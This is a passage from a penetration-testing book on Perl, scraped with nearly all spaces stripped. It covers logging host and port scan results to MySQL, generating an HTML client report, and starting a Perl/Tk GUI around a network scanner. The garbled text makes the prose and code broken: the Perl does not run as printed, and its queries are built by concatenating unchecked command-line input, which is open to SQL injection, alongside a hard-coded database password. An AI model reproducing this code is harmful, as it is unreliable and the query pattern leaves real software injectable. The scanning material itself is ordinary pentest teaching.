Weseethreetables,oneforthehostIPaddressandacorrespondingprimarykeyandtwoothersthatusetheprimaryhostkeytostoreopenedportsandsuccessfullyexploitedvulnerabilities.WenowneedtogiveauserpermissiontoaccessthesetablessothatwearenotincludingtherootpasswordforthedatabaseinourPerlscripts.Let’screatetheusernamepentestandgiveitthepasswordofp455w0Rdforsimplicitywiththefollowingcommand:
![Page 306: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/306.jpg)
mysql>grantallonpentestlogsto‘pentest’@‘127.0.0.1’identifiedby
‘p455w0Rd’;
mysql>FLUSHPRIVILEGES;
mysql>
Sincethisdatabasespaceisusedonlybytheuserpentest,wecangrantallprivileges.Thisincludescreatingtables,droppingtables,insertingrecords,andmore.Tobemoregranularwithpermissions,wecanaccesstheMySQLdocumentationathttp://dev.mysql.com/doc.WearenowreadytoinstallandbeginusingtheNet::MySQLCPANmodule.Let’sbeginbyinsertingarecordintothehosttablewithanIPaddressofadiscoveredhost,fromourhostdiscoveryapplicationfromChapter3,IEEE802.3WiredNetworkMappingwithPerl.Ifwererunthisapplication,wegetanoutputsimilartothefollowing:
root@80211:~/ch12#perlhostscanner.pl
GatewayIP:10.17.16.1
Startingscan
10.17.19.73isalive
10.17.16.1isalive
10.17.16.1isalive
10.17.16.4isalive
10.17.16.5isalive
10.17.16.7isalive
10.17.16.8isalive
WhattheprecedingoutputshowsareprivateIPv4addressesthatrespondedtoourquery.IfwemodifythehostscannerapplicationtoremoveisaliveandonlyshowtheIPaddress,wecanthenpipethisdataintoanewapplicationthatinsertsitsafelyintotheMySQLdatabasewiththefollowingcode:#!/usr/bin/perl-w
useNet::MySQL;usestrict;
my$db=Net::MySQL->new(
hostname=>‘127.0.0.1’,
database=>‘pentestlogs’,
user=>‘pentest’,
password=>‘p455w0Rd’
);#IPaddressrequired:
my$host=shiftordie“NohostIPaddressgiven.”;
my$query=“insertintohostvalues(NULL,’”.$host.”’);”;
$db->query($query);#runquery
print“Row“,$db->get_affected_rows_length,”updated\n”;
$db->close;#closeconnectiontoMySQL
Thepreviouscodereliesoninputfromthecommandline.TheIPaddresspassedtothescriptgetsinsertedintothetablewithaNULLvaluefortheidcolumn.Theidcolumnwillautomaticallypopulatetothenextvalue,sinceitisaprimarykeyandtheprogramwillclosetheconnection.Let’srunthisprogramandpassitthegatewayIPaddressgivenfromtheprecedingcodeoutputas:
root@80211:~/ch12#perlmysql_host_insert.pl10.17.16.1
Row1updated
root@80211:~/ch12#
![Page 307: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/307.jpg)
Now,ifwequerythetablehostinpentestlogs,weseetherecordwassuccessfullyinserted:
mysql-upentest-Dpentestlogs-p
Enterpassword:
mysql>
mysql>select*fromhost;
+–-+––––+
|id|ip|
+–-+––––+
|1|10.17.16.1|
+–-+––––+
1rowinset(0.00sec)
mysql>
Wecanpipetheoutputfromthemodified(showingIPaddressonly)hostscannerprogramintothepreviousprogramperlinewiththefollowingcommand:
root@80211:~/ch12#perlhostscanner.pl|xargs-I{}perl
mysql_host_insert.pl{}
WeusethexargsLinuxcommandtoperformasimpleloopsimilartoforeach()onallreturnIPaddressesfromthehostscanner.plapplication.Thecurlybracesareusedasaplaceholderfortheoutput,whichisassignedusingthe–Iargumenttoxargs.Theearliercommandyieldsthefollowingoutput:
Row1updated
Row0updated
Row0updated
Row1updated
Row1updated
Row1updated
Row1updated
ThisisagoodexampleofmixingthepowerofBashwithPerl.Ifwequerythedatabaseforthehosttablenow,wewillseethatallIPaddressesareinsertedproperly.TheprecedingoutputshowstwolinesofRow0updatedbecausewehavesetauniqueconstraintontheipaddresscolumninthehosttableand10.17.16.1isfoundtwice.ThiskeepsourdataorganizedautomaticallyusingtheMySQLserver.
AddingrecordstotheothertwotablesisjustaseasyaprocessastheprecedingPerlcodeshowsus.Thetrickypartofaddingthisfunctionalitytoourapplicationsisthecreativepreplanningorthemodificationoftheactualapplicationitself.Wecaneithersendtheoutputdirectlytoadatabasetable,orusingtee,whichwelearnedboutinChapter2,LinuxTerminalOutput,toshowthedataonourscreenandsenditofftothedatabasetablesimultaneously.
Let’smoveontoshowhowwecancreateHTMLreportsusingourMySQLdata.
![Page 308: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/308.jpg)
HTMLreportingUsingHTMLforareporttoourclienttargetisaneasywaytopresentthedatainane-mailorwithasimpleprivatelink.AllweneedtodoischangethePDFcreationwhile()looptowriteoutHTMLdatainsteadofusingthetext()methodfromthePDF::API2class.Forinstance,wecanmakeeachlinearowinanHTMLtablesince,technically,thisistabulardata.WealsohavetheoptiontojustcreateanewHTMLdivelementforeachline.Let’sexpanduponourMySQL/PerlknowledgetoconstructadatabasequerytoshowtheIPaddressofahost,itsopenports,andanysuccessfulvulnerabilitiesusingsimpleSQLqueriesandcreateHTMLcodedynamicallyforareport.
Let’sinsertaportscan,usingtheportscanningapplicationweconstructedinChapter3,IEEE802.3WiredNetworkMappingwithPerl,ofthegatewayIPaddress,10.17.16.1,intotheportscantableofthepentestlogsdatabaseusingthefollowingcommand:
root@80211:~/ch12#perlportscanner.pl10.17.16.122-8888syn10.17.19.731
3
Thepreviouscommandyieldsthefollowingoutput:
4c:96:14:a4:ab:f0MACManufacturer:JuniperNetworks
22openunknownport.
80openhttp
443openhttps
3306openmysql
8080openproxy
8888openunknownport.
8866portsscanned,0filtered,6open.
root@80211:~/ch12#
Wecaneasilymodifyourportscanner.plapplicationtoremoveallprintedoutputbesidestheopenportsandthenpassthisthesameway,directlyintoourdatabasetable,portscan.Let’salsoinsertarecordforafoundvulnerabilityrunningonthewebserverfoundonport80ofthegatewaynetworknodeasa“bruteforceweakadministratorpassword”usingMySQLasfollows:
mysql>insertintovuln_successvalues(1,‘Weakadministrativepassword;
bruteforceHTTPlogin.’);
QueryOK,1rowaffected(0.01sec)
mysql>
Okay,wearesetforthedatapart.Now,wejustneedthePerlcodetogeneratethepenetrationtestdatafromMySQLintoacleanHTMLfileforthetargetclient.Let’sconsiderhowtotakeonthistask.SinceweknowthatHTMLhasaheadtagandcanincludecascadingstylesheets(CSS)stylesintheheadusingthestyletag,wecancreateasimpletemplatefileusingaheredocument,whichwelearnedaboutinChapter2,LinuxTerminalOutput.Then,wecanincludeourPerlcodetocreateourHTMLtable.Afterthis,
![Page 309: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/309.jpg)
wewillneedtocloseoffthebodyandhtmlHTMLtags.OffloadingtheheadtemplatetoaseparatefilegivesusaneasierwaytomaintainthemarkupcodeorupdatetheCSSstylesinthefuture.Whenwerunourscript,onlyasinglefilereport.htmlwillbecreated.Let’sbeginbycreatingourhead.htmlincludefileasfollows:<!DOCTYPEhtml>
<html>
<head>
<styletype=“text/css”>
html{/*globalentitystyle*/
font-family:arial;
background-color:#353535;
font-size:14px;
color:#949494;
}
td{/*tabledividerstyle*/
padding:5px;
background-color:#ccc;
border-radius:3px;
color:#696969;
}
.tableTop{/*tabletitle*/
background-color:#737373;
color:#ccc;
}
.b{
font-weight:bold;
}
.host{/*TheIPaddresstext*/
height:20px;
display:inline-block;
display:table-cell;
vertical-align:middle;
}
.hostText{/*headertextperhostBoxitem*/
height:17px;
color:#fff;
font-size:17px;
}
.icon{/*thecompromised,uncompromisedcomputericon*/
float:left;
margin-right:10px;
}
.hostBox{/*aboxtoholdallhostdata*/
width:600px;
border-radius:3px;
background-color:#969696;
margin:10px;
padding:5px;
}
</style>
<title>PenetrationTestReportforClientTarget</title>
</head>
ThisfilecontainsthestyleforourHTMLpageandafewothersimpleHTMLelements.Thisisasimplecreativetaskleftuptoustomakeourreportsunique.Wecaneasilysee
![Page 310: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/310.jpg)
fromthecommentsintheCSSstyletagswhateachclasscorrespondsto.Nowlet’sstartourHTMLgenerationPerlcode.WewillbreakthecodeintosectionsandusetheNet::MySQLPerlmodule:#!/usr/bin/perl-w
usestrict;
useNet::MySQL;
usedbinfo;#includesecretdbinfo.pmfile
my$usage=“perl<clienttargetname><yourname>”;
my$clientTarget=shiftordie$usage;
my$me=shiftordie$usage;
my$date=localtime;
our$db;
open(HEAD,”<head.html”);#printtheHTMLhead/stylesheet
printwhile(<HEAD>);
closeHEAD;
print“<header>\n”;
print“<imgsrc="logo.png"/>\n”;
h3(“PenetrationtestReport,“.$clientTarget);
print$date,”-Testexecutedby“,$me,”<br/>\n”;
print“</header>\n”;
#getSQLdata:
my$query=“select*fromhost”;
$db->query($query);
my$records=$db->create_record_iterator;
ThisisthebeginningofourPerlprogramforgeneratingtheHTMLreportforourclienttarget.WewillstartbyincludingtheNet::MySQLPerlmoduleandsetuptheenvironmentforaconnectiontoadatabase.Ifwehavemultipleusersonourpenetrationtestinglaptoporcomputer,wecanactuallyoffloadtheusernameandpasswordtoaseparatefileandincludeitforuseindbinfo.Thiswaywecanmakethefilethatcontainsoursensitivedatabaseinformationreadableonlytous,withthefollowingchmodcommand:
chmodog-rxwdbinfo.pm
ThiscommandutilizesUNIXfilepermissionsecuritymakingitonlyreadabletotheownerofthefile.Thisdoesnot,however,protectthefileagainststolenorbackedupharddisks.Thecontentsofdbinfo.pmareasfollows:$db=Net::MySQL->new(#DBconnection:
hostname=>‘127.0.0.1’,
database=>‘pentestlogs’,
user=>‘pentest’,
password=>‘p455w0Rd’
);
Thisistheexactsamesyntaxweusedpreviouslyinotherexamples.Infact,itwasjustcutoutrightfromthemainPerlfileandinstantiatedthe$dbobjectwithourscopeinsteadofmy.Thisfilerequiresthe.pmextensiontobeincluded.IfanotherusertriestorunthemainPerlfile,genhtml.pl,anerrorwouldoccurastheydon’thavereadpermissiontothedbinfo.pmfile.Nothingelseisnewtoourlessonfromdownhere,solet’smoveontothewhile()loop,whichgeneratesmoreHTMLelementswiththedatabaserecordsets:while(my$record=$records->each){#foreachhost:
![Page 311: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/311.jpg)
print“<divclass="hostBox">\n”;
#checkforvulnerabilitysuccesscount:
$db->query(“selectcount(*)fromvuln_successwherehost_id=“.$record->
[0]);
my$vCount=$db->create_record_iterator;#aniteratorforasinglevalue.
classy.
my$vc=$vCount->each->[0];#vulnerablecount(*)
if($vc>0){#compromised
print“<divclass="icon"><imgheight=25src="comp.png"/></div>\n”;
}else{
print“<divclass="icon"><imgheight=25src="noncomp.png"/></div>\n”;
}
printdiv(“host”,div(“hostText”,“DiscoveredHost:<span
class="b">”.$record->[1].”</span>”)),”<br/><table>”;
$db->query(“selectvulnerablefromvuln_successwherehost_id=“.$record->
[0]);#integer
my$vRecs=$db->create_record_iterator;
trw(1,“FoundVulnerabilities(“.$vc.”)”);
while(my$vRec=$vRecs->each){
trw(0,$vRec->[0]);
}
print“\n</table><table>”;#closetableopenportscan
$db->query(“selectcount(*)fromportscanwherehost_id=“.$record->[0]);
my$pCount=$db->create_record_iterator;#aniteratorforasinglevalue.
classy.
my$pc=$pCount->each->[0];#portscancount(*)
$db->query(“selectopen_portfromportscanwherehost_id=“.$record->[0].”
orderbyopen_port”);
my$vPorts=$db->create_record_iterator;
trw(1,“PortsOpen(“.$pc.”)”);
while(my$vPort=$vPorts->each){
trw(0,$vPort->[0]);
}
print“\n</table>\n</div>\n”;#closehostBoxdiv
}
Thisloopmakesmultipleconnectionstothedatabase.First,itgetsalistofallhostIPaddressesandtheircorrespondinghostidvalues.Thesevaluesareusedforrelatingthedatatotheportscanandvuln_successtables.Noneofthissyntaxisnewaswehavecoveredallofitinthepreviousexamples,solet’smoveontofinishingtheHTMLfilewithendtagsandlookingatoursubroutines:#closetheshop,usingHereDocument:
printmy$end=<<‘EOF’;
</body>
</html>
EOF
#subroutinesforgeneratingmarkuplanguage:
subdiv{#class,content
my($class,$content)=@_;
my$line=“<divclass="”.$class.”">”.$content.”</div>\n”;
return$line;
}
subtrw{#header,content
if($_[0]){#headerrow,true
![Page 312: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/312.jpg)
print“<tr><tdclass="tableTop">”,$_[1],”</td></tr>\n”;
}else{#nonheaderrow
print“<tr><td>”,$_[1],”</td></tr>\n”;
}
return;
}
subh3{#content
print“<h3>”,$_[0],”</h3>”,”\n”;
return;
}
Intheprecedingcode,weusedaheredocument,oramultilinestringtoprinttheclosingtagsandwehavethreenewsubroutines.Thefirst,div(),takesaclassnameandthecontentofdivasargumentsandreturnsanHTMLdivtag.Itisuptoustoprintthereturnedobjectbysendingthesubroutineintotheprintfunctionaswedidinthebeginningportionoftheprogram.Thiscantakemultipleclassesforinheritanceaslongastheyaresurroundedwithquotes.
Thesecondsubroutinetrw()isatablerowwritefunction.TheBooleanheader,asthefirstargumentpassedtoit,willchoosethestyleoftherow.Ifwearecreatingthefirstrowofatable,wecansendit1andthetitlenameasthecontentorsecondargument.ThiswillstyletherowaccordingtothetableTopclassinourCSSfromhead.html.Thissubroutineandthenext,h3(),actuallyprintstheHTMLelementforus.
Thethirdandfinalsubroutineh3()issimplyusedtocreateanHTML<h3>headingtag.Allofthesethreesubroutinesareusedtoavoidrepetitivetypingandtomakeourcodemorereadableformaintenanceorfutureupgrades.OnefinalthingtonoteisthatweneedtoclosetheMySQLconnectioninanEND{}compoundstatementanddosowiththefollowingcode:END{
$db->close;
}
Here,wewillcalltheclosemethodfortheNet::MySQLobject$dbtocleanupourconnections.Let’srunthiscommandandpipetheoutputtoafilethatwecanaccesswithabrowser.TherearetwocaveatsfortheclienttargetwhenreadingourHTMLreport;sinceweareusingsomeCSS3classes,weneedtomakesurethebrowseriscapableofdoingso,andwehaveimagesinourHTMLthatneedtobeaccessibleviatheInternetorlocallytotheclienttarget.ThefollowingscreenshotshowsoffourshinynewHTMLreportgeneratedwithMySQLdatausingPerl:
![Page 313: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/313.jpg)
Withthismuchpowerandcontroloverourreport,whichisobviouslythemostimportantpartofthepenetrationtest,wecanbeincrediblycreativeinourfinaldesign.Infact,wecanincludealldatafromallofourpreviousPerlprogramsfromallchaptersperhost.WecanincludeGPSdataandJavaScriptwithGoogleMapsforplottingfoundwirelessdevices,oruseJavaScripttocreateadropdown,oranimatedHTMLdivobjects.Thepossibilitiesareendless.
![Page 314: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/314.jpg)
SummaryThisconcludesourchapteronreportingandnotetakingforourpenetrationtest.Thislessonprovidesaclearunderstandingofwhythenotetakingandreportingprocessiscrucialtoreflectthehardworkwehavealreadydone.
SincethePTESisastandard,andstandardschangeorhaveamendmentsovertime,weshouldnowpossesstheskillneededtoadaptourcodetothesechanges.Infact,it’sbesttofrequentlyrefertothePTESsectiononreportingforadditionalinformationonanysectionorthetypeofreportasoftenaspossible.Weshouldnowfeelconfidentwithgeneratingourowncustomreportsforourclienttargetfromanydatasource,includingcomma-separatedfiles,text,orevendatabases.
Inthefollowing,andfinal,chapter,wewilllookatasimplewayinwhichwecancombineafewofourprogramsintoagraphicaluserinterfaceusingthePerl::Tklibrary.
![Page 315: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/315.jpg)
Chapter13.Perl/TkThroughoutthisbook,wehaveworkedwithsimple,text-basedprogramsforinputandoutputusingonlyourterminals.OnewayinwhichwecansurelyenhanceourPerlprogramsistocreateasimplegraphicaluserinterface(GUI)foroneprogramoracombinationofmultipleprograms.TheseGUIprogramsconsistofamainwindowinourwindowmanager,suchasGnome,Unity,orMicrosoftWindows.Withinthiswindow,wehavetextlabels,textentry,textoutput,buttons,images,imagebuttons,progressbars,scrollbars,andevenframes.ThePerlmodulethatwewillbeusingtocreateourGUI,Perl/Tk,referstotheseobjectsaswidgets.Infact,Tkisoftenreferredtoasthewidgettoolkit.Tkisactuallycross-platformandisanincrediblyeasyintroductiontotheworldofGUIprogramming,especiallywhenprogrammingwithPerl.
Beforeproceedingwiththischapter,thefollowingaresomekeytermsandconceptstobecomefamiliarwith:
Object-orientedprogramming(OOP):Thefollowingconceptsshouldbefamiliar:
ObjectsClassesMethods
WindowmanagerEvent-drivenprogramming:Thefollowingconceptsshouldbefamiliar:
HandlerListenerThecallbackfunctionWidget
WehavealreadyusedmanyexamplesofOOPthroughoutthecourseofthisbook.WewillnotgotoodeeplyintotheprinciplesandtheextensiveworldofOOP,butjustenoughtogetusupandrunningwiththeTkPerlmodule.Thewindowmanageristhesessionusedtomanagewindows,forexample,XFCE,Fluxbox,Gnome,andKDE.Inthenextsection,wewilltalkabouttheremainingitemsintheprecedinglistthatpertaintoevent-drivenprogramming.
![Page 316: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/316.jpg)
Event-drivenprogrammingIt’seasytocomparePerl/TkprogrammingwithAndroidorevenHTML/JavaScriptprogramming.ThisisbecausethePerl/Tklibraryisevent-driven.Whatthismeansisthataloopfunctionoralistenerwilllistenforevents,whichcouldbeclicksonbuttonwidgets,forexample,andhandletheeventbyperformingtaskscalledcallbackfunctions.Acallbackfunctionisaprocedureintheformofsubroutines,externalprograms,orsimplebuilt-inPerlfunctions.Inourexample,thelistenerandhandlerwillbetheMainLoop()function.Thecallbackfunctionwillbeasubroutinethatwewilldefine.
Inthefollowingcodeexamples,wewillbelearninghowtocreateanevent-drivenGUIapplication,whichwilluseourpreviouslywrittenapplicationsascallbackfunctions.
![Page 317: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/317.jpg)
ExplainingthePerl/TkwidgetsAllthePerl/Tkexamplesinthischapterwillfollowthegridlayoutdesign.Thegriddesignusesamatrixlayout,whichreferstothespacewithinthewindowinrowsandcolumns.Let’stakealookatasimpleprogramthatusestheNmapcommand-lineprogram,anddefinethecallbackfunctionforasimpleScanbuttontoprinttheoutputofNmapintoaread-onlytextboxwidget.Thisexamplemustalsotakeuserinputforahostname.
Inthefollowingscreenshot,weseetheentireprogramwindow:
ThiswindowisanobjectcreatedusingtheOOPsyntaxandthenew()method,asfollows:my$mw=MainWindow->new(
-title=>“PerlPentestSuite”,
-foreground=>“lightblue”,
-background=>“black”
);
The$mwobjectisnowourmainwindow.Wecallthenew()constructormethodfromtheMainWindowclasswheninstantiatingthe$mwobject.Thetitleofthemainwindow,whichnormallyappearsinthetopbaroftheapplication’swindowinourwindowmanager,ispassedasanassociativeargument,andthesyntaxissimilartoaPerl-associativearrayelement,withtheexceptionbeingthehyphenthatisprependedtothekey.Ifmoreargumentsneedtobepassedtothenew()method,theysimplyneedtobecomma-separated,aswecanseewiththebackgroundandforegroundcolorkeys.PerlisgenerallyreallygoodattellinguswhenanunwantedargumentwaspassedtoamethodinPerl/Tk,butit’sbesttorefertothemanualtomastertheinsandoutsofthetoolkit.
WesettheheightandwidthofthewindowinadditiontotheXandYoffsets(fromtheupperleft-handsideofourwindowmanagerscreen)inpixelsasfollows:$mw->geometry(“550x300+100+100”);
Theargumentstothegeometry()methodofthe$mwobjectinorderarewidth,height,x,
![Page 318: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/318.jpg)
andyoffset.
![Page 319: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/319.jpg)
WidgetsandthegridWenowhaveourfirstwidget,whichisatextlabelwidgetthatdisplaysthetextHost:.Allwidgets,asmentionedintheprevioussubsection,arelaidoutinthewindowusingthegridlayoutstyle.Thegridisamatrix-likelayout,whichusescolumnsandrows,whicharesimplydenotedasintegers,inordertoplacethewidgetsintothewindow.Forinstance,wecanaddatextlabelwidgetusingtheLabel()methodofthe$mwobject,asshowninthefollowingcode:$mw->Label(
-text=>“Host:“,
-foreground=>“lightblue”,
-background=>“black”
)->grid(
-row=>1,
-column=>0,
-padx=>5
);
Thismethodtakesmanyarguments,includingwhichtexttouse,theforegroundorthecolorofthetext,andthebackgroundorthehighlightcolorofthetext.Thewidgetisplacedintothewindowusingtheappendedgrid()method.Wepassthreeargumentstogrid()fortherowandcolumntoplacethewidgetinto,andthepaddingfortheX-axis.Paddingissimilartothewebdesigncascadingstylesheets(CSS)paddingattribute.ThereisalsoanargumentsimilartotheCSSfloatattribute,calledsticky,whichwewilllookatinournextwidget,thetextentrybox:$mw->Entry(
-textvariable=>\$host
)->grid(
-row=>1,
-column=>1,
-columnspan=>2,
-sticky=>“w”
);
ThistextentrywidgetthatwilltakethehostnameorIPaddressfromtheuseriscreatedusingtheEntry()methodofthe$mwobjectofMainWindow.Thisnewwidgettakesuserinputandassignsittothevariablespecifiedbythetextvariablekeyto$host.ThisvariablecanthenlaterbeusedtopasstotheNmapfunctioninasimplesystem()call.Thewletterpassedtothestickyargumentofgrid()simplystandsforwest,whichalignsthecontentoftherow/columntotheleft.TheletterestandsforEast,whichalignsthecontenttotheright-handside,andwecanactuallyusebothtostretchthecontentforsomethinglikeaButtonwidget.
ThenextwidgetinourlististheButtonwidget.TheScanbuttonintheprecedingexampleimagewascreatedusingtheButton()methodofthe$mwobjectofMainWindowusingthefollowingsyntax:$mw->Button(
-text=>“Scan”,
-command=>\&getHosts,
![Page 320: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/320.jpg)
)->grid(
-row=>1,
-column=>3,
-sticky=>“w”
);
The–command=>associativeargumenttoButton()canbecalledinseveraldifferentways.Inourexample,wepassaPerlrefmemoryaddresstothesubroutinegetHosts().Wecanalsocreateananonymoussubroutinewiththefollowingsyntax:-command=>sub{dosomestuff..}
ThisargumentassignsthecallbacktotheButtonwidget.
Asfarasthelayoutisdesignedinthecodesnippets,wehaveasingleLabelwidget,whichresidesinrow1andcolumn0,anEntrywidget,whichresidesinrow1andcolumn1,andaButtonwidget,whichresidesinrow1andcolumn3.RowsandcolumnsinPerl/Tkstartwith0.Inordertomakespaceatthetopoftheapplicationwindow,similartoamargintopinCSS,acooltrickistoleavetheentirerow0empty.Aswesee,webeganwithrow1,andthereisamplespaceabovethewidgetsinrow1intheprecedingscreenshot.
Thisishowweusethegridlayoutwiththegrid()methodinordertoplacewidgetsinour$mwobjectofMainWindow.Let’stakeaquicklookatthewindowlayoutwiththecolumnshighlightedinthefollowingscreenshot:
Inthisscreenshot,thefivecolumnsoftheapplicationarehighlightedusingblueboxes.Thefirstcolumn,column0,iswheretheHost:textlabelwidgetresides.Therearetwocolumnsoverthetextinputbox,columns1and2,becausetheargumentpassedtothetextinputboxforthecolumnspanattributewas2,aswepreviouslysawintheEntry()method’scalltogrid()inthecodesnippetbeforethescreenshot.Thetextentrywidgetissnappedtothefarleft-handsideofcolumn1becausewehavepassedthe–sticky=>“w”argumenttothegrid()methodduringthewidget’screation.Column3containstheScanbuttonandcolumn4containstheExitbutton.Now,let’slookattherowsofoursimpleapplicationinthefollowingscreenshot:
![Page 321: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/321.jpg)
Thegreenhighlightedrowboxesinthescreenshotindicatetherowsofourapplication.Weleftrow0alonetogiveusamarginatthetopofthewindow,aspreviouslymentioned.It’sinvisiblebutstillthere.Row1isthevisiblerow,whichholdsthetextlabelforHost:,thetextentrybox,andtheScanbutton.Row2istheROTextwidgetforread-onlytextoutputfromtheNmapapplication,whichwewilllearnmoreaboutinthefollowingsections.Finally,row3isthebuttontocallthebuilt-inexit()Perlfunction.TheseimagesshouldmakeiteasytounderstandthesimplegridlayoutusedinthePerl/Tklibrary.Let’snowfocusondesigningourownsimplepingscanapplicationusingthePerl/Tklibrary.
![Page 322: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/322.jpg)
TheGUIhostdiscoverytoolTomasterthedesignofGUIapplications,wecanuseasimplemethodology,whichfirstrequiresustodrawalayoutontopaperorafreshgraphicsdocumentinasimplegraphicseditor,aftergatheringalltherequirementsfortheinputandoutputdata.InChapter3,IEEE802.3WiredNetworkMappingwithPerl,wedesignedourownlivehostscanner,whichusedanARPmethodtodiscoverthehosts.Let’sdesignasimpleGUIusingPerl/Tk,whichhasonebuttonandoneread-onlytext(ROText)widgetforread-onlytextoutputfromtheapplication.TheScanbuttonwillbesettocalltheexactsamecodewehavealreadywritten,butinsteadofprintingtheoutputtotheterminal,wewillbeprintingtheoutputtotheread-onlyROTextwidget.ThiswillbedonebysimplyslurpingthedatafromSTDOUTofthescanner.plfileintoanarray.Then,wesimplyusetheinsert()methodoftheoutputpadobject.Now,let’stakealookatthecodeinsections:#!/usr/bin/perl-w
usestrict;
useTk;#forourGUIapplication
useTk::ROText;#thisisforthereturnedhostdataoutputpad
my$mw=MainWindow->new(
-title=>“PerlLiveHostScanner”,
-background=>“black”,
-foreground=>“lightblue”
);
$mw->geometry(“510x270+100+300”);
ThisfirstsectionofcodesetsupourenvironmentbyusingincludedirectivesforPerlmodulesandcreatingour$mwobjectfromtheMainWindowclass.Now,let’saddsomewidgetstothewindowusingtheButton()methodoftheMainWindowclassandtheScrolled()methodoftheROTextPerlmodule:#let’sdesignourwindowusingwidgetsnow:
$mw->Button(
-text=>“Scan”,
-command=>sub{getHosts();}
)->grid(
-row=>0,
-column=>0,
-sticky=>“w”
);
my$oPad=$mw->Scrolled(
‘ROText’,
-scrollbars=>“e”,
-width=>“65”,
-height=>“10”,
-foreground=>“lightblue”,
-background=>“black”
)->grid(
-row=>1,
-columnspan=>5,
-pady=>5,
-column=>0
);
$mw->Button(
![Page 323: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/323.jpg)
-text=>“Exit”,
-command=>sub{exit;}
)->grid(
-row=>3,
-column=>4,
-sticky=>“e”
);
ThiscodewasalreadycoveredwiththeadditionoftheROText$oPadobject.Thisisaread-onlyspaceinourwindowtooutputtext,similartowhatwedidpreviouslytoSTDOUT.Thewidthandheightaremeasuredincharactersizes.
WecannowmoveontotheMainLoop()functionandouronlysubroutine,whichcallsourlivehostscannerapplicationthatwewroteinChapter3,IEEE802.3WiredNetworkMappingwithPerl:MainLoop();#thisMUSTbeincludedtohandleeventsanddrawthewindow
subgetHosts(){#ouronlysubroutine:
$oPad->insert(“end”,“Scanning…\n”);
my@hosts=`perlhostscanner.pl`;
$oPad->insert(“end”,@hosts);
return;
}
ThegetHosts()callbackfunctionwillslurptheoutputofthescanner.plARPscanningapplicationintothe@hostsarray,andprinttheresultsusingtheinsert()methodoftheROTextread-onlyoutputpadobject$oPad.Thefirstargumentendtoinsert()indicatesthatwewanttoappendthedatatotheendofthealreadyexistingdataintheROTextwidget.
Let’srunthisapplicationinthelabandpreviewascreenshotoftheoutput:
